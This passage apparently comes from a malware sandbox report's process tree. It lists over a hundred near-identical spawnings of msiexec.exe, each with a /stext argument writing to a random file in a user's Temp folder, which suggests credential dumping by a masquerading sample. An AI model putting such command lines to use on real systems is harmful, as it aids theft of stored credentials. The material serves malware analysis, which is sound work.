- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4388
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:2892
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:628
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4560
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:612
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:544
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:756
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:2880
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:1692
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5108
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4436
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:820
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4772
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:540
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:2064
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:1648
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:2512
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4728
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:1688
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:1948
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:840
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4876
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:2476
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:1920
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5128
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5136
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5144
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5152
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5160
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5168
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5176
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5184
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5192
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5200
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5208
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5216
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5224
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5232
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5240
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5248
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5256
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5264
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5272
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5280
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5288
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5296
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5304
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5312
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5320
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5328
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5336
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5344
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5352
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5360
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5368
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5376
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5384
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5392
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5400
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5408
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5416
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5424
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5432
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5440
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5448
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5456
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5464
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5472
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5480
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5488
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5496
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5504
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5512
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5520
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5528
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5536
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5544
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5552
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5560
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5568
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5576
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5584
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5592
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5600
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5608
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5616
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5624
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5632
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5640
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5648
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5656
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5664
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5672
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5680
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5688
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5696
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5704
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5712
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5720
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5728
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5736
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5744
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5752
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5760
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5768
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5776
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5784
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5792
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5800
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5808
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5816
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5824
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5832
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5840
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5848
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5856
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5864
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5872
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5880
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5888
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5896
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5904
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5912
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5920
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5928
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5936
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5944
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5952
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5960
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5968
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5976
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5984
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5992
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6000
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6008
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6016
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6024
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6032
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6040
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6048
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6056
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6064
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
